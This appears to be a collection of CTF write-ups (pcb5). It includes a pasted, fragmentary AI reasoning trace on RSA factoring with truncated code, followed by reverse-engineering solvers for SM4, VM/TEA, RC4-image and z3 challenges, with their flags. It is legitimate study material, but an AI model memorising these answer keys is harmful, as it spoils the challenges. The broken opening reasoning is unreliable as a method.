I’m considering solving for p and q by applying gift2 and checking if taking the 7th and 13th powers modulo 2^777 works. Since exponentiation by odd numbers is a bijection on the group of units mod 2^k for odd numbers, it seems we can take the roots uniquely using discrete log computations.
Exploring exponentiation properties in modular arithmetic
The group for k≥3 is not cyclic, but exponentiation by an odd exponent is still an automorphism. For each odd residue, there’s a unique x such that x^e ≡ u (mod 2^k), which we can compute using modular exponentiation with inverse exponents. We can try expressing b via equation (2) and compute it.
Considering bitwise lifting for modular equations
Since the modulus isn’t prime and the group isn’t cyclic, root extraction is tricky. However, we can use Hensel's Lemma to solve the congruence. A more elegant method might involve bitwise lifting, solving for a and b step-by-step, deciding each next bit at each step by checking the equations mod 2^{k+1}.
Checking b1 and n modulo 2^{k+1}
I'm starting by confirming if (a1*b1) % 2^{k+1} equals n % 2^{k+1}, and also checking if (pow(a1,7,2^{k+1}) + pow(b1,13,2^{k+1})) % 2^{k+1} equals gift2 % 2^{k+1}. I'll begin with k=1, a=1 mod 2, b=1 mod 2, assuming odd values. I'll verify n mod 2 and check it against expected results.
Implementing bit-lifting algorithm for polynomial congruences
n %2已分析
Implementing bit-lifting algorithm for solution
At each step, we extend candidate pairs (a,b) mod 2^k, starting with (1,1) mod 2. In each iteration, I will consider four possible extensions of the pair and check if the equations hold modulo 2^{k+1}. Despite the large recursion involved, the set size may remain manageable, making it feasible to solve iteratively with modular exponentiation in Python using big integers.
Lifting to k=777 and ensuring correct solutions
The check modulo 2 shows the equation holds. Now, I need to lift the solution to k=777 while ensuring that a and b correspond to the right residues for p and q modulo 2^777. There may be two potential solutions, which could be swapped. I'll implement this and verify the results.
Lifting solutions to mod 2^777
def lift_pq_mod_2k(n, gift2, k_target=777, exp1=7, exp2=13):
# Lift solutions for a=p mod 2^k, b=q mod 2^k
# Starting at k=1 with (1,1)
candidates=[(1,1)] # modulo 2
k=1
while k < k_target:
mod_next = 1<<(k+1)
n_mod = n % mod_next
g_mod = gift2 % mod_next
new=[]
for a,b in candidates:
for s in (0,1):
a1 = a + (s<<k)
for t in (0,1):
b1 = b + (t<<k)
if (a1*b1) % mod_next != n_mod:
continue
# eq2
if (pow(a1, exp1, mod_next) + pow(b1, exp2, mod_next))已分析
Checking solutions and exploring further
At k=50, we found two solutions, which seem distinct rather than just swapped. This makes sense because equation2 isn't symmetric due to the exponents. These solutions likely correspond to different assignments. As k increases, the solutions might narrow down to a unique one — let's test for k=200 or k=777.
Evaluating candidate pairs mod 2^k
cands200 = lift_pq_mod_2k(n, gift2, 200)
len(cands200), [ (a.bit_length(),b.bit_length()) for a,b in cands200][:5]已分析
Continuing to compute for larger k
At k=200, we still have two candidates. I'll continue up to k=777 to see if the results remain the same or if a unique solution emerges. Let's proceed with the calculations and see if the situation resolves as we increase the value of k.
Determining candidate count at k=777
cands777 = lift_pq_mod_2k(n, gift2, 777)
len(cands777)已分析
Finalizing the computations for the candidates
We now have two candidates, mod 2^777. It's time to proceed with the actual computation. I’ll work through the steps to evaluate them and see how they fit the solution space. Let’s compute and check how they compare with the expected results.
Computing candidates modulo 2^777
cands777已分析
Considering how to use candidate pairs to factor n
Now that we have two candidate pairs (a, b) mod 2^777, the challenge is to use them to factor n. We know that p ≡ a (mod 2^777) and q ≡ b (mod 2^777), but we need to recover the full 1024-bit primes. This involves solving for the unknowns P1 and Q1 that make p and q 1024-bit primes.
Defining and analyzing equation for t
We have n, a, and b, and I’m defining t as:
t = (n - ab) / 2^777. Since ab ≡ n (mod 2^777), n - a*b is divisible by 2^777, meaning t is an integer with about 1271 bits.
The full equation is t = a Q1 + b P1 + 2^777 P1 Q1, where the term 2^777 P1 Q1 is significant and cannot be ignored.
Considering solutions for P1 and Q1
P1 and Q1 are relatively small compared to 2^777, as they are each 247 bits, while 2^777 is much larger. The product term involving 2^777 essentially has 1271 bits, similar to t. We could potentially use lattice methods or modular arithmetic, given that the unknowns are small enough to approach the problem this way.
Exploring factorization with partial key exposure
This situation is similar to partial key exposure, where we know the low bits of both primes. There's a method to factor using Coppersmith's approach for bivariate polynomials. However, since x and y are small, it might be possible to approximate or solve directly, considering p ≈ a mod 2^777, but we'd still need p to compute q.
Exploring methods to reconstruct primes
We could use the modular inverse method to solve for primes, given knowledge of p mod 2^k. If k > 512, it might be possible to recover p using gcd with 2^k. Calculating q from n/p is key, but the big challenge is solving for the high bits, which could be done with lattice or a Coppersmith approach. Reconstructing full primes might require brute-force methods or simplifications like eliminating one variable in the univariate case.
Trying to recover p + q mod 2^k
I’m thinking we can compute p + q mod 2^k, as it's the same as a + b mod 2^k. By solving the quadratic equation X^2 - sX + n = 0, we can get an approximate value for s. If we know the lower 777 bits of s, it’s possible to compute the high bits, but I’m unsure if Coppersmith's univariate method works here. The equation s^2 - 4n = (p - q)^2 might be useful.
Recovering s and computing D
I’m thinking that we could recover s by solving for the variable t using the equation (s - s0)/2^k. Once we get t, we could find t such that the discriminant (D) is a perfect square. Since D = s² - 4n and it’s equal to (p-q)², if we solve for t, D should be a square.
Considering 2-adic methods for lifting
To find t such that D is a square, brute-forcing t is impractical because t ranges up to 2^248. However, Coppersmith's method might allow us to find t by solving D = (s0 + 2^k t)^2 - 4n. We could use 2-adic square roots or lift the factorization of n using Hensel lifting or Newton's method.
Considering Coppersmith's method for factoring
I'm thinking that using Coppersmith’s approach could help when factoring, especially in finding the unknown high bits of p with a polynomial like f(x) = p0 + 2^k x. The key is getting the modular equation right, but it's tricky since we need the equation modulo N, not just p.
Thinking about Coppersmith’s technique for composite modulus
I’m wondering if Coppersmith’s method can help when we know a small root of f(x) modulo p, where p divides N, but the modulus is composite. Typically, Coppersmith finds a root modulo N, not just p, but there’s a variant that might apply to this “partial key exposure” problem.
Exploring Coppersmith’s method with modulus N
I’m thinking about using Coppersmith’s method for polynomial f(x) with modulus N. If x0 is a root mod p, f(x0) will be divisible by p, but not necessarily by N. Yet, Coppersmith might help find small roots. I remember a theorem where gcd(f(x0), N) reveals p, making this method useful by considering divisibility steps.
Considering RSA partial key exposure and factoring
I’m thinking about RSA partial key exposure: if we know bits of p, we can factor N, especially if we have enough bits. For a linear polynomial f(x) = p0 + 2^k x, finding a small root seems tricky. But using bivariate methods might be better since we have partial knowledge of p and q.
Solving the linear congruence for u and v
I’m breaking down the equation for t using the terms u and v. When we work modulo 2^k, it seems possible to solve for u or v using modular inverses, even though 2^k is not prime. Since a and b are odd, they are invertible modulo 2^k, helping with finding solutions.
Analyzing the effect of small u and v in the equation
u and v are small, so their contribution to the high bits of t is limited
Approximating u*v in the equation
The dominant term in t is 2^k * u * v, so we can approximate uv ≈ t / 2^k. Dividing t by 2^{2k} to solve for s gives an approximation for uv, though it's not precise—there's an extra smaller term. We can potentially compute the higher bits for more accuracy.
Breaking down approximation for u*v
Given p = a + 2^k * u and q = b + 2^k * v, we can express u and v as the top bits of p and q, respectively. Approximating n / 2^{2k} gives us uv, with small correction terms. We can simplify this to floor(n / 2^{2k}) ≈ uv, plus a small adjustment.
#flag{p4ssword_b1g_snake!!}Reverse
pcb5-meddddgo
64位Go语言
直接手搓:
SM4 的实现分两块(都在 .text 段):
- 轮函数/一组 16B 分组的 SM4 主循环:main.sbb3YLOJnc4,地址 0x1400B32A0
特征:32 轮循环、查 Sbox(0x1401B9EE0)、rol 2/10/18/24 的线性变换。
- 轮密钥生成(key schedule):main.aZ2oh0nY,地址 0x1400B3020
特征:用 CK 表(0x1401B9A00)、查 Sbox,并且是改过的 FK(FK ^ MASK,常量在 0x1401B93C0 / 0x1401B93D0 相关处)。
- 期望的 32 字节密文在.data(文件偏移0x1B77E0):
- fc66b270e8874c9d734ecd5b766aa5896dda6cc5349d5f3b44b54aaf5ef9ce49
- 加密部分能看到标准 SM4 的 SBox(d6 90 e9 fe ...)与 CK 表,但 key schedule 的 FK 被 XOR 了一个 mask:
- MASK = [a5a5a5a5, 3c3c3c3c, 5a5a5a5a, c3c3c3c3]
- 即 K0..K3 = MK ^ (FK ^ MASK),其余流程与 SM4 一致;解密用逆序 round key。
密钥生成(静态还原)
- 初始 seed 在.data:偏移0x1B75B0):1023456789abcdef013579bdf0224466
- 程序用如下派生生成 16 字节 key(对应汇编里明显的11i、17a、(5*i+3)&0xF等常数):
- k[i] = (11i) ^ rol(seed[(5i+3)&0xF],1) ^ 0xA5
- 重复 3 轮:k[c] = ((k[(c+5)&0xF] + k[(c+1)&0xF] + 17*a) ^ k[c]) & 0xFF
from pathlib import Path
import struct
exe = Path("meddddgo.exe").read_bytes()
SEED_OFF = 0x1B75B0
CT_OFF = 0x1B77E0
SBOX_OFF = 0x1B80E0
CK_OFF = 0x1B7C00
seed = exe[SEED_OFF:SEED_OFF+16]
ct = exe[CT_OFF:CT_OFF+32]
SBOX = list(exe[SBOX_OFF:SBOX_OFF+256])
CK = [struct.unpack_from("<I", exe, CK_OFF + i*4)[0] for i in range(32)]
def rol8(x, n=1):
x &= 0xFF
return ((x << n) | (x >> (8 - n))) & 0xFF
# key derive
k = [0]*16
for i in range(16):
idx = (5*i + 3) & 0xF
k[i] = ((11*i) ^ rol8(seed[idx], 1) ^ 0xA5) & 0xFF
for a in range(3):
for c in range(16):
k[c] = ((k[(c+5)&0xF] + k[(c+1)&0xF] + 17*a) ^ k[c]) & 0xFF
key = bytes(k)
FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]
MASK = [0xA5A5A5A5, 0x3C3C3C3C, 0x5A5A5A5A, 0xC3C3C3C3]
FKM = [FK[i] ^ MASK[i] for i in range(4)]
def rotl32(x, n):
x &= 0xFFFFFFFF
return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))
def tau(a):
return ((SBOX[(a >> 24) & 0xFF] << 24) |
(SBOX[(a >> 16) & 0xFF] << 16) |
(SBOX[(a >> 8) & 0xFF] << 8) |
(SBOX[a & 0xFF]))
def L(b):
return b ^ rotl32(b, 2) ^ rotl32(b, 10) ^ rotl32(b, 18) ^ rotl32(b, 24)
def Lp(b):
return b ^ rotl32(b, 13) ^ rotl32(b, 23)
def T(x): return L(tau(x))
def Tp(x): return Lp(tau(x))
def key_schedule(key16: bytes):
MK = [int.from_bytes(key16[i*4:(i+1)*4], "big") for i in range(4)]
K = [MK[i] ^ FKM[i] for i in range(4)]
rk = []
for i in range(32):
t = K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i]
K.append(K[i] ^ Tp(t))
rk.append(K[i+4])
return rk
def crypt_block(block16: bytes, rk):
X = [int.from_bytes(block16[i*4:(i+1)*4], "big") for i in range(4)]
for i in range(32):
t = X[i+1] ^ X[i+2] ^ X[i+3] ^ rk[i]
X.append(X[i] ^ T(t))
out = [X[35], X[34], X[33], X[32]]
return b"".join(w.to_bytes(4, "big") for w in out)
def decrypt(data: bytes, key16: bytes):
rk = key_schedule(key16)[::-1]
return b"".join(crypt_block(data[i:i+16], rk) for i in range(0, len(data), 16))
pt = decrypt(ct, key)
print("flag{" + pt.decode() + "}")
#flag{12d8b17b8ae52636a1211299451f9f6c}pcb5-More_more_Flower
sub_401000加载了opcode
对虚拟化指令进行一个恢复:
字节码起始:0x422008(.rdata)
VM 栈内存:0x422A18(byte 数组)
- VM 的几个“寄存器”(全局变量):
取指分发方式:
指令集还原:
字节码从 0x422008 开始,解出来的逻辑如下(与真实字节码一一对应):
(A) 外层:处理 6 个 4-byte block
(B) 每个 block:先拼 32-bit,再跑 30 轮
(C) 30 轮更新(TEA-like)
每轮做:
(D) 把每个 block 的加密结果压栈
6. 常量表与对比(为什么会“反序”)
当 6 个 block 都处理完,会进入对比阶段:
- 0x422C0C:主 32-bit 工作寄存器(下面叫 R0c)
- 0x422C10:输入/索引寄存器(下面叫 R10)
- 0x422C14:计数器寄存器(下面叫 R14)
- 0x422C18:sum 寄存器(下面叫 R18)
- 0x422C28:临时寄存器(下面叫 R28)
- 0x422C1C:IP(字节码指针)
- 0x422C20:SP(VM 栈顶)
- 0x422C24:一个栈索引(这里一直是 0,用来指向 stack[0])
- 读取 opcode = code[ip]
- opcode-1 用作索引跳转表(jump table 在 0x4026A0),一共 11 条指令(1~11)
- OP1 (01) PUSH
- arg=1:push 输入字节 input[R10]
- arg=7:push 32-bit R0c(按字节压栈:低→高)
- arg=8:push 立即数 imm(额外多 1 字节)
- 其它 arg:push 某寄存器低字节(不展开也行)
- OP2 (02) POP
- arg=2:pop 1 字节到 R0c(低 8 位)
- arg=7:pop 4 字节拼成 32-bit 到 R0c
- arg=8:pop 4 字节拼成 32-bit 存到 解释器自身的局部变量 [ebp-8](这是一个隐藏临时值 TMP32)
- arg=1:pop 1 字节写回 input[R10](本题字节码里没用到写回)
- 其它 arg:pop 到其他寄存器
- OP3 (03) MOV dst, src
- src=6:MOV dst, imm(多 1 字节)
- src=7:MOV dst, KEY[R10](从 0x42209C 常量表读 1 字节)
- src=8:MOV dst, STACK[R24](从 VM 栈某位置读 1 字节)
- src=1..5:从寄存器搬运
- OP4 (04) ADD dst, src
- src=9:加常数 1
- src=6:加 TMP32(即 handler 里的 [ebp-8])
这就是为什么字节码会先 POP 8 把 4 字节常量灌进 TMP32,再 ADD *,6 用它。
- OP5 (05) SHL dst, imm
- OP6 (06) SHR dst, imm
- OP7 (07) SUB dst, imm
- imm=0 时会改用 (byte)R18 作为减数(对比阶段用的就是这个)
- dst=6 时是 STACK[R24] -= imm(本题用于 block 计数器 stack[0]--)
- OP8 (08) OR dst, src
- OP9 (09) XOR dst, src
- OP10 (0A) JNZ reg, target:如果 reg != 0,ip = target(target 是字节码内的绝对偏移)
- OP11 (0B) RET imm:返回 0/1
- 开头:PUSH #06
因为 R24=0,所以 stack[0]=6 作为 block 计数器。 - 取 4 字节拼成大端 32-bit:
- R0c = input[0]
- 重复 3 次:R10++,取 input[R10],R0c = (R0c<<8) | byte
- 初始化:
- R18 = 0
- R14 = 0x1e(30 轮)
- 把常量56 11 25 23压栈,再POP 8得到 TMP32这个 4 字节常量按组合方式就是:
- delta = 0x23251156
- R18 += delta
- 计算并更新:
- tmp = (R0c<<5) ^ R18 ^ (R0c>>4)
- R0c += tmp
- R14--,如果不为 0 跳回继续
- PUSH R0c(dword):把 32-bit 结果按字节压入 VM 栈(低→高)
- stack[0]--
- R10++ 指向下一个 block 的首字节
- 如果 stack[0] != 0,跳回继续处理下一个 block
- R14 = 0x18(24 字节要比对)
- R10 = 0
- 循环 24 次:
恢复逻辑就是:
delta = 0x23251156
rounds = 0x1e
def enc_word(x):
r = x & 0xffffffff
s = 0
for _ in range(rounds):
s = (s + delta) & 0xffffffff
r = (r + (((r<<5)&0xffffffff) ^ s ^ (r>>4))) & 0xffffffff
return r
#密文
targets = [
0xDEA5D6E9,
0x9384AE5B,
0x2FB88B3B,
0x0378255E,
0x33D33EF7,
0x217A011C,
]#exp
import itertools, string, hashlib
import numpy as np
DELTA = np.uint32(0x23251156)
ROUNDS = 0x1e
KEY = bytes.fromhex(
"21 7a 01 1c 33 d3 3e f7 03 78 25 5e 2f b8 8b 3b "
"93 84 ae 5b de a5 d6 e9"
)
def enc_numpy(r):
r = r.astype(np.uint32, copy=True)
s = np.uint32(0)
for _ in range(ROUNDS):
s = np.uint32(s + DELTA)
r = np.uint32(r + ((r << np.uint32(5)) ^ s ^ (r >> np.uint32(4))))
return r
def find_block_65(target):
charset = (string.ascii_letters + string.digits + "{}_").encode()
chars = np.frombuffer(charset, dtype=np.uint8)
L = len(chars)
b0 = np.repeat(chars, L)
b1 = np.tile(chars, L)
prefix = (b0.astype(np.uint32) << 24) | (b1.astype(np.uint32) << 16)
b2 = np.repeat(chars, L)
b3 = np.tile(chars, L)
suffix = (b2.astype(np.uint32) << 8) | b3.astype(np.uint32)
x = prefix[:, None] | suffix[None, :]
y = enc_numpy(x)
mask = (y == np.uint32(target))
if not mask.any():
return None
i0, i1 = np.argwhere(mask)[0]
p = int(prefix[i0]); s = int(suffix[i1])
return bytes([(p>>24)&0xff, (p>>16)&0xff, (s>>8)&0xff, s&0xff])
def enc_word_py(bs4):
r = int.from_bytes(bs4, "big")
s = 0
for _ in range(ROUNDS):
s = (s + int(DELTA)) & 0xffffffff
r = (r + (((r<<5)&0xffffffff) ^ s ^ (r>>4))) & 0xffffffff
return r
def find_last_block(target):
# 末尾通常是 '}',固定最后一个字节,暴力前三个可见字符
printable = [chr(i) for i in range(0x20, 0x7f)]
for a,b,c in itertools.product(printable, repeat=3):
bs = (a+b+c+"}").encode()
if enc_word_py(bs) == target:
return bs
return None
# key words:w6..w1(因为对比时是 POP 出来)
key_words = [int.from_bytes(KEY[i:i+4], "big") for i in range(0, 24, 4)]
targets = key_words[::-1] # 对应输入 b1..b6
blocks = []
for i, t in enumerate(targets, 1):
b = find_block_65(t)
if b is None:
b = find_last_block(t)
assert b is not None, f"block{i} not found"
blocks.append(b)
flag = b"".join(blocks)
print("flag =", flag.decode())
print("sha256 =", hashlib.sha256(flag).hexdigest())
#flag{Fl0weRTeAVM15E3s9!}每个 block 只有 4 字节,且 flag 通常是可见字符,所以可以直接暴力枚举字符集。
- POP -> R0c:从 VM 栈弹出 1 字节(注意:这是 LIFO)
- R18 = KEY[R10]:从常量表取 1 字节
- KEY 表起始地址:0x42209C
- 24 字节内容(直接在 IDA 里看内存/hex 即可):
21 7a 01 1c 33 d3 3e f7 03 78 25 5e 2f b8 8b 3b 93 84 ae 5b de a5 d6 e9
- R0c -= (byte)R18(因为 SUB 的 imm=0 会改用 (byte)R18)
- 若 R0c != 0:RET 0
- 否则继续,最后 RET 1
pcb5-Get_My_Emoji
其中 row_bytes = 800 非常关键:
- 宽 200 像素,
800 / 200 = 4 - 每像素 4 字节 → RGBA
所以程序加密的数据规模是:
200×200×4=160000 bytes200 \times 200 \times 4 = 160000\ \text{bytes}200×200×4=160000 bytes
程序对 PNG 的处理流程:
- 固定输入输出:
v30 = "my_emoji.png"v31 = "enc_emoji.png"
- 密钥写死:
strcpy(v38, "rc4!2025"); v32 = 8;
libpng 风格调用链(读):
- create read struct / info struct
png_init_io(绑定输入文件)png_read_infoheight、rowbytes- 分配
row_pointers+ 每行 buffer png_read_image
然后对每一行做加密,再用 libpng 写回输出文件。
- 初始化(KSA-like):
sub_401235(state, key, keylen)
关键差异:
- S 盒初始化不是 S[i]=i,而是 S[i]=~i(即 255..0 倒序)
j的更新整体仍然是 8-bit(等价于 mod 256)- 每轮 swap(S[i], S[j])
最后:
state[256] = 0(i)state[260] = 0(j)
- PRGA:
sub_401338(state)
这段就是标准 RC4 PRGA 结构:
- i = (i+1) mod 256
- j = (j + S[i]) mod 256
- swap(S[i], S[j])
- output = S[(S[i]+S[j]) mod 256]
把 encoder 当成“加密 Oracle”恢复 keystream
对每个明文字节 P(图片 RGBA 展开后的每个 byte):
- 从 RC4-like PRGA 取一个字节
X(第一份流) - 再取下一个字节
A(第二份流) - 加密:
C=(P⊕X)+A(mod256)C = (P \oplus X) + A \pmod{256}C=(P⊕X)+A(mod256)
解密就是反过来:
P=(C−A(mod256))⊕XP = (C - A \pmod{256}) \oplus XP=(C−A(mod256))⊕X
因为:
- 当
P = 0:
E0=(0⊕X)+A=X+AE_0 = (0 \oplus X) + A = X + AE0=(0⊕X)+A=X+A
- 当
P = 255:
EFF=(255⊕X)+A=(∼X)+A=(255−X)+AE_{FF} = (255 \oplus X) + A = (\sim X) + A = (255 - X) + AEFF=(255⊕X)+A=(∼X)+A=(255−X)+A
两式相加:
E0+EFF=(X+A)+(255−X+A)=255+2AE_0 + E_{FF} = (X+A) + (255-X + A) = 255 + 2AE0+EFF=(X+A)+(255−X+A)=255+2A
所以:
- 永远是奇数(255 奇数 + 2A 偶数)——你观测到的现象来源
- 并且可以推出:
2A≡(E0+EFF+1)(mod256)2A \equiv (E_0 + E_{FF} + 1)\pmod{256}2A≡(E0+EFF+1)(mod256)A=(E0+EFF+1) mod 2562A = \frac{(E_0 + E_{FF} + 1)\bmod 256}{2}A=2(E0+EFF+1)mod256
再由 E0 = X + A 得:
X=(E0−A) mod 256X = (E_0 - A)\bmod 256X=(E0−A)mod256
用 Oracle 生成:
e0 = encode(全 0 图)eF = encode(全 255 图)
用“泛化公式”推回 add 与 xor:
import subprocess
import tempfile
from pathlib import Path
import numpy as np
from PIL import Image
def encode_constant(binary: Path, value: int, h: int, w: int) -> np.ndarray:
with tempfile.TemporaryDirectory() as td:
td = Path(td)
plain = np.full((h, w, 4), value, dtype=np.uint8)
Image.fromarray(plain, "RGBA").save(td / "my_emoji.png")
subprocess.run(
[str(binary)],
cwd=str(td),
check=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
enc = Image.open(td / "enc_emoji.png").convert("RGBA")
return np.array(enc, dtype=np.uint8)
def main():
workdir = Path(__file__).resolve().parent
binary = workdir / "emoji_encoder"
cipher_path = workdir / "enc_emoji.png"
out_path = workdir / "1.png"
cipher_img = Image.open(cipher_path).convert("RGBA")
cipher = np.array(cipher_img, dtype=np.uint8)
h, w = cipher.shape[:2]
e0 = encode_constant(binary, 0, h, w)
eF = encode_constant(binary, 255, h, w)
# 恢复 A 和 X
add = ((e0.astype(np.uint16) + eF.astype(np.uint16) + 1) % 256)
add = (add // 2).astype(np.uint8)
xor = ((e0.astype(np.int16) - add.astype(np.int16)) % 256).astype(np.uint8)
#P = (C - A) XOR X
plain = ((cipher.astype(np.int16) - add.astype(np.int16)) % 256).astype(np.uint8)
plain = np.bitwise_xor(plain, xor).astype(np.uint8)
Image.fromarray(plain, "RGBA").save(out_path)
if __name__ == "__main__":
main()
flag{c0ngr47ul473_y0u_c4n_u53_my_3m0ji_n0w}
pcb5-LinuxChal
题目给了一个chal文件,代码非常多而且有很多花指令(虽然都是一类),然后去花,找关键点,发现程序其实起了一个线程又加载运行了一个程序,
但这里是被加密的,交叉引用过去,其实也很明显看出这个就是每个字节异或了0x27,用010操作再异或回去,得到了一个全新的elf文件
Ida载入,依旧是去花,都是这样的
把00字节改成90
然后查找字符串看到了key一样的东西。
下面那个24字节数组交叉引用过去
很明显是个比较(memcmp),这应该就是比对的加密后正确的密文
发现依旧有个很大数组
交叉引用发现这个数组会经过魔改的rc4运算,直接linux远程调试,动调解密得到
接着往下运行,发现有fgets函数
这里就是读入flag的地方,随便输点值(flag{123456789123456789})
然后在s处(我们的输入)下硬件断点,f9运行往下跟,发现赋值给了一个数组
把密钥那地方也下个硬件断点,继续f9跟进,发现核心加密逻辑就是在这里
已经知道byte_559398B3BB40的前24字节放的是flag,后面24字节跟的是key(KeyKEyKeYKEykEYKEY!@#$%^),v194这个数组也知道,就是前面得到的rc4解密后的那段数组。
那么怎么解密呢,逆是没法逆的,问ai说这是类似三门逻辑电路什么的,反正输入很有规律,直接z3约束求解。
Python脚本:
# exp
from z3 import *
# 加密后前24字节(你给的)
CIPH = bytes.fromhex(
"4F 4F 05 5F 54 6A 20 09 00 6F 6C 66 45 16 7C 3D 3F 64 03 18 5B 5E 5D 2F"
)
# 初始:flag 后面那段固定字节(你给的)
TAIL = bytes.fromhex(
"4B 65 79 4B 45 79 4B 65 59 4B 45 79 6B 45 59 4B 45 59 21 40 23 24 25 5E"
)
assert len(TAIL) == 24
# 把 v194 的 hex 全部粘到这里(可有空格/换行)
V194_HEX = r"""
0C 00 18 00 30 00 30 00 30 00 31 00 31 00 0D 00 32 00 31 00 32 00 33 00 0D 00 32 00 34 00 33 00 34 00 35 00 0D 00 19 00 36 00 36 00 36 00 37 00 37 00 0E 00 38 00 37 00 38 00 39 00 0E 00 38 00 3A 00 39 00 3A 00 3B 00 0E 00 1A 00 3C 00 3C 00 3C 00 3D 00 3D 00 0F 00 3E 00 3D 00 3E 00 3F 00 0F 00 3E 00 40 00 3F 00 40 00 41 00 0F 00 1B 00 42 00 42 00 42 00 43 00 43 00 10 00 44 00 43 00 44 00 45 00 10 00 44 00 46 00 45 00 46 00 47 00 10 00 1C 00 48 00 48 00 48 00 49 00 49 00 11 00 4A 00 49 00 4A 00 4B 00 11 00 4A 00 4C 00 4B 00 4C 00 4D 00 11 00 1D 00 4E 00 4E 00 4E 00 4F 00 4F 00 12 00 50 00 4F 00 50 00 51 00 12 00 50 00 52 00 51 00 52 00 53 00 12 00 1E 00 54 00 54 00 54 00 55 00 55 00 13 00 56 00 55 00 56 00 57 00 13 00 56 00 58 00 57 00 58 00 59 00 13 00 1F 00 5A 00 5A 00 5A 00 5B 00 5B 00 14 00 5C 00 5B 00 5C 00 5D 00 14 00 5C 00 5E 00 5D 00 5E 00 5F 00 14 00 20 00 60 00 60 00 60 00 61 00 61 00 15 00 62 00 61 00 62 00 63 00 15 00 62 00 64 00 63 00 64 00 65 00 15 00 21 00 66 00 66 00 66 00 67 00 67 00 16 00 68 00 67 00 68 00 69 00 16 00 68 00 6A 00 69 00 6A 00 6B 00 16 00 22 00 6C 00 6C 00 6C 00 6D 00 6D 00 17 00 6E 00 6D 00 6E 00 6F 00 17 00 6E 00 70 00 6F 00 70 00 71 00 17 00 23 00 72 00 72 00 72 00 73 00 73 00 0C 00 74 00 73 00 74 00 75 00 0C 00 74 00 76 00 75 00 76 00 77 00 00 00 35 00 78 00 00 00 78 00 79 00 35 00 78 00 7A 00 79 00 7A 00 7B 00 01 00 3B 00 7C 00 01 00 7C 00 7D 00 3B 00 7C 00 7E 00 7D 00 7E 00 7F 00 02 00 41 00 80 00 02 00 80 00 81 00 41 00 80 00 82 00 81 00 82 00 83 00 03 00 47 00 84 00 03 00 84 00 85 00 47 00 84 00 86 00 85 00 86 00 87 00 04 00 4D 00 88 00 04 00 88 00 89 00 4D 00 88 00 8A 00 89 00 8A 00 8B 00 05 00 53 00 8C 00 05 00 8C 00 8D 00 53 00 8C 00 8E 00 8D 00 8E 00 8F 00 06 00 59 00 90 00 06 00 90 00 91 00 59 00 90 00 92 00 91 00 92 00 93 00 07 00 5F 00 94 00 07 00 94 00 95 00 5F 00 94 00 96 00 95 00 96 00 97 00 08 00 65 00 98 00 08 00 98 00 99 00 65 00 98 00 9A 00 99 00 9A 00 9B 00 09 00 6B 00 9C 00 09 00 9C 00 9D 00 6B 00 9C 00 9E 00 9D 00 9E 00 9F 00 0A 00 71 00 A0 00 0A 00 A0 00 A1 00 71 00 A0 00 A2 00 A1 00 A2 00 A3 00 0B 00 77 00 A4 00 0B 00 A4 00 A5 00 77 00 A4 00 A6 00 A5 00 A6 00 A7 00 7B 00 24 00 A8 00 A8 00 A8 00 A9 00 A9 00 7F 00 AA 00 A9 00 AA 00 AB 00 7F 00 AA 00 AC 00 AB 00 AC 00 AD 00 7F 00 25 00 AE 00 AE 00 AE 00 AF 00 AF 00 83 00 B0 00 AF 00 B0 00 B1 00 83 00 B0 00 B2 00 B1 00 B2 00 B3 00 83 00 26 00 B4 00 B4 00 B4 00 B5 00 B5 00 87 00 B6 00 B5 00 B6 00 B7 00 87 00 B6 00 B8 00 B7 00 B8 00 B9 00 87 00 27 00 BA 00 BA 00 BA 00 BB 00 BB 00 8B 00 BC 00 BB 00 BC 00 BD 00 8B 00 BC 00 BE 00 BD 00 BE 00 BF 00 8B 00 28 00 C0 00 C0 00 C0 00 C1 00 C1 00 8F 00 C2 00 C1 00 C2 00 C3 00 8F 00 C2 00 C4 00 C3 00 C4 00 C5 00 8F 00 29 00 C6 00 C6 00 C6 00 C7 00 C7 00 93 00 C8 00 C7 00 C8 00 C9 00 93 00 C8 00 CA 00 C9 00 CA 00 CB 00 93 00 2A 00 CC 00 CC 00 CC 00 CD 00 CD 00 97 00 CE 00 CD 00 CE 00 CF 00 97 00 CE 00 D0 00 CF 00 D0 00 D1 00 97 00 2B 00 D2 00 D2 00 D2 00 D3 00 D3 00 9B 00 D4 00 D3 00 D4 00 D5 00 9B 00 D4 00 D6 00 D5 00 D6 00 D7 00 9B 00 2C 00 D8 00 D8 00 D8 00 D9 00 D9 00 9F 00 DA 00 D9 00 DA 00 DB 00 9F 00 DA 00 DC 00 DB 00 DC 00 DD 00 9F 00 2D 00 DE 00 DE 00 DE 00 DF 00 DF 00 A3 00 E0 00 DF 00 E0 00 E1 00 A3 00 E0 00 E2 00 E1 00 E2 00 E3 00 A3 00 2E 00 E4 00 E4 00 E4 00 E5 00 E5 00 A7 00 E6 00 E5 00 E6 00 E7 00 A7 00 E6 00 E8 00 E7 00 E8 00 E9 00 A7 00 2F 00 EA 00 EA 00 EA 00 EB 00 EB 00 7B 00 EC 00 EB 00 EC 00 ED 00 7B 00 EC 00 EE 00 ED 00 EE 00 EF 00 0C 00 AD 00 F0 00 0C 00 F0 00 F1 00 AD 00 F0 00 F2 00 F1 00 F2 00 F3 00 0D 00 B3 00 F4 00 0D 00 F4 00 F5 00 B3 00 F4 00 F6 00 F5 00 F6 00 F7 00 0E 00 B9 00 F8 00 0E 00 F8 00 F9 00 B9 00 F8 00 FA 00 F9 00 FA 00 FB 00 0F 00 BF 00 FC 00 0F 00 FC 00 FD 00 BF 00 FC 00 FE 00 FD 00 FE 00 FF 00 10 00 C5 00 00 01 10 00 00 01 01 01 C5 00 00 01 02 01 01 01 02 01 03 01 11 00 CB 00 04 01 11 00 04 01 05 01 CB 00 04 01 06 01 05 01 06 01 07 01 12 00 D1 00 08 01 12 00 08 01 09 01 D1 00 08 01 0A 01 09 01 0A 01 0B 01 13 00 D7 00 0C 01 13 00 0C 01 0D 01 D7 00 0C 01 0E 01 0D 01 0E 01 0F 01 14 00 DD 00 10 01 14 00 10 01 11 01 DD 00 10 01 12 01 11 01 12 01 13 01 15 00 E3 00 14 01 15 00 14 01 15 01 E3 00 14 01 16 01 15 01 16 01 17 01 16 00 E9 00 18 01 16 00 18 01 19 01 E9 00 18 01 1A 01 19 01 1A 01 1B 01 17 00 EF 00 1C 01 17 00 1C 01 1D 01 EF 00 1C 01 1E 01 1D 01 1E 01 1F 01 F3 00 18 00 20 01 20 